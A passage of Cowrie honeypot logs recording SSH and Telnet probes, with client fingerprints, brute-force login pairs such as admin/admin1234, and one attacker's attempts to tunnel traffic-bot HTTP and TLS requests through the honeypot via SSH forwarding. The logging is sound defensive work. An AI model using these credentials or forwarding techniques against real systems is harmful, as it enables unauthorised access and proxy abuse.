hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:58.525631Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55338,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ad0ea8394d8","protocol":"telnet","message":"New connection: 128.199.8.54:55338 (159.203.135.109:23) [session: 6ad0ea8394d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:00.202171Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":59806,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc3860bcd01e","protocol":"ssh","message":"New connection: 176.32.39.21:59806 (159.203.135.109:22) [session: fc3860bcd01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:00.835402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:00.840288Z","src_ip":"176.32.39.21","session":"fc3860bcd01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:00.964829Z","src_ip":"176.32.39.21","session":"fc3860bcd01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kakaxa","message":"login attempt [root/kakaxa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:01.326412Z","src_ip":"176.32.39.21","session":"fc3860bcd01e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:01.686881Z","src_ip":"23.175.50.47","session":"55c36ca442a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:02.454386Z","src_ip":"176.32.39.21","session":"fc3860bcd01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":62012,"dst_ip":"10.17.0.5","dst_port":22,"session":"72cc083ff3a6","protocol":"ssh","message":"New connection: 23.175.50.47:62012 (10.17.0.5:22) [session: 72cc083ff3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:05.030817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:05.036482Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:05.121740Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49536,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a1084719853","protocol":"telnet","message":"New connection: 172.81.62.90:49536 (159.203.135.109:23) [session: 8a1084719853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:05.722790Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:07.339328Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46818,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb7324af00c","protocol":"ssh","message":"New connection: 147.45.199.80:46818 (159.203.135.109:22) [session: 0bb7324af00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:08.147535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:08.151928Z","src_ip":"147.45.199.80","session":"0bb7324af00c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:08.248095Z","src_ip":"147.45.199.80","session":"0bb7324af00c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01470258","message":"login attempt [root/01470258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:08.537969Z","src_ip":"147.45.199.80","session":"0bb7324af00c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.369331Z","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.427145Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/9.1.2 Safari/602.1.50\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bXgvcCYzRSZWPiVYQHZ6MQ%3D%3Du5ENnT10Y8je7Cqi%2F2LBWrOeyuFs4CyZUDXdEdcYUHu8AKCQOq0ulbZD%2Bht7zPMtUs60iBpQLErQp3S%2BTr4QVMdg4uDJuWFspHote%2FPTQF6nuxuO53o7mGQDv%2FNOqebXd39BRkSMZha7sNjZqp54XfaixPcFEcXSqWDVgwtikgibzGIn27pMq6zOlxhTd0DXOVQcNPzN0i9YgXm5hMIms3fUzc7noraGFdTDQWuu8%2B4GChxHdRVTkXktb7EGMv2tVVHlvMlCYpfTPn8sYI%2BHnX%2BKFUq7VTUCCD2jvxARnki1PIJzdbHvg2W82higMzvPZV3qODwix%2F%2BTraT805amD%2BzCjKWolcwSw4HB%2FnhSuBrwzAEEOEW%2FuTxrhux0Yjjlfg0f5xKVbWmcchYIf5e%2FjKm3R2adokv%2BeLwuJgoPTbFfGMVAuOnSrOhdqEipnSYivIJjncVvvHT5t3iOPHk1BmsTtCYQlmxen%2BrtMcylp00I5g3n%2Bk8YmLH1WYcjgE9Z3I0u1N9g83bT33NIhNDImU0H5gCw4vV4O5WEFMiut4pz%2FQwdHqXTiC3o8AenZKNEB13cPz0w6HznBNv%2F7hep0ACnQrE0eZYphs%2BTdroPfqdZI2g62Tmd3IQuZoM3eQVIybjaUke6ysAC%2FSNdyuxwJfZI7gggO6jD30dAAkcGK8bqk4yLTNvqFiPK3HW5O0a4IKPqyIb%2Bpqus1qCc7SpIjcRQ7wW0X3t5vIQbZUJcHO16%2FuYh9G1%2B7Sbt3n7yJJo9qZWHWK6zl1NAHV6kfQGH6cor4HEc0qbEkCdDhidKZKRRhXhGsnfvDUw79aWr4rElQieU%2Bsm1ddqmhOcXpRsoZyUqF6Qix1WI1rgHrJqBG2M8rIWtXRU8ugf2U0574Dj9a%2BzitvADJQBSLef5WIYxjyxruEcQ2MHCWV4ZVykvMsD1riIHRbYjK4dMJK4mPTUxegzqbWUgBipP5DIjQ6RpyYlO9%2FvToo7TKRZQoXF4PEgCleJaR4KIIStpUSBZXtBXlXSvyu6x6o2rHwCqSoVfX6PPjFfGAvggsvcM5heOMjs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/9.1.2 Safari/602.1.50\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bXgvcCYzRSZWPiVYQHZ6MQ%3D%3Du5ENnT10Y8je7Cqi%2F2LBWrOeyuFs4CyZUDXdEdcYUHu8AKCQOq0ulbZD%2Bht7zPMtUs60iBpQLErQp3S%2BTr4QVMdg4uDJuWFspHote%2FPTQF6nuxuO53o7mGQDv%2FNOqebXd39BRkSMZha7sNjZqp54XfaixPcFEcXSqWDVgwtikgibzGIn27pMq6zOlxhTd0DXOVQcNPzN0i9YgXm5hMIms3fUzc7noraGFdTDQWuu8%2B4GChxHdRVTkXktb7EGMv2tVVHlvMlCYpfTPn8sYI%2BHnX%2BKFUq7VTUCCD2jvxARnki1PIJzdbHvg2W82higMzvPZV3qODwix%2F%2BTraT805amD%2BzCjKWolcwSw4HB%2FnhSuBrwzAEEOEW%2FuTxrhux0Yjjlfg0f5xKVbWmcchYIf5e%2FjKm3R2adokv%2BeLwuJgoPTbFfGMVAuOnSrOhdqEipnSYivIJjncVvvHT5t3iOPHk1BmsTtCYQlmxen%2BrtMcylp00I5g3n%2Bk8YmLH1WYcjgE9Z3I0u1N9g83bT33NIhNDImU0H5gCw4vV4O5WEFMiut4pz%2FQwdHqXTiC3o8AenZKNEB13cPz0w6HznBNv%2F7hep0ACnQrE0eZYphs%2BTdroPfqdZI2g62Tmd3IQuZoM3eQVIybjaUke6ysAC%2FSNdyuxwJfZI7gggO6jD30dAAkcGK8bqk4yLTNvqFiPK3HW5O0a4IKPqyIb%2Bpqus1qCc7SpIjcRQ7wW0X3t5vIQbZUJcHO16%2FuYh9G1%2B7Sbt3n7yJJo9qZWHWK6zl1NAHV6kfQGH6cor4HEc0qbEkCdDhidKZKRRhXhGsnfvDUw79aWr4rElQieU%2Bsm1ddqmhOcXpRsoZyUqF6Qix1WI1rgHrJqBG2M8rIWtXRU8ugf2U0574Dj9a%2BzitvADJQBSLef5WIYxjyxruEcQ2MHCWV4ZVykvMsD1riIHRbYjK4dMJK4mPTUxegzqbWUgBipP5DIjQ6RpyYlO9%2FvToo7TKRZQoXF4PEgCleJaR4KIIStpUSBZXtBXlXSvyu6x6o2rHwCqSoVfX6PPjFfGAvggsvcM5heOMjs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.430613Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.574360Z","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.631013Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03K/:1;\\x15Y|H\\x078K\\x13\\xee\\xa3\\x83\\xa3\\x06\\xbe7\\xff0\\xfb\\xd1\\x98\\xa3P\\x18\\x04\\xe5\\x15\\xff \\xd0\\xf9\\x8eh\\xb9\\x15\\x8c\\xf2\\xc2\\xf8\\xd4\\x86$\\x18\\xe7\\x0ey\\xd3p\\xb6\\x91\\x05\\xa5\\x88\\xb6\\x01\\x91\\xb9\\x81F\\x10\\xa0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8w\\xb7`\\xfd1\\xd6\\xef\\x89_\\xff|\\xd04o\\xad4.\\xf6IDX\\x85M\\xb2wg\\x92\\x03xV\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03K/:1;\\x15Y|H\\x078K\\x13\\xee\\xa3\\x83\\xa3\\x06\\xbe7\\xff0\\xfb\\xd1\\x98\\xa3P\\x18\\x04\\xe5\\x15\\xff \\xd0\\xf9\\x8eh\\xb9\\x15\\x8c\\xf2\\xc2\\xf8\\xd4\\x86$\\x18\\xe7\\x0ey\\xd3p\\xb6\\x91\\x05\\xa5\\x88\\xb6\\x01\\x91\\xb9\\x81F\\x10\\xa0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8w\\xb7`\\xfd1\\xd6\\xef\\x89_\\xff|\\xd04o\\xad4.\\xf6IDX\\x85M\\xb2wg\\x92\\x03xV\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.635626Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.641402Z","src_ip":"147.45.199.80","session":"0bb7324af00c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.717318Z","session":"72cc083ff3a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:12:09.899633Z","src_ip":"23.175.50.47","session":"72cc083ff3a6","protocol":"ssh"}
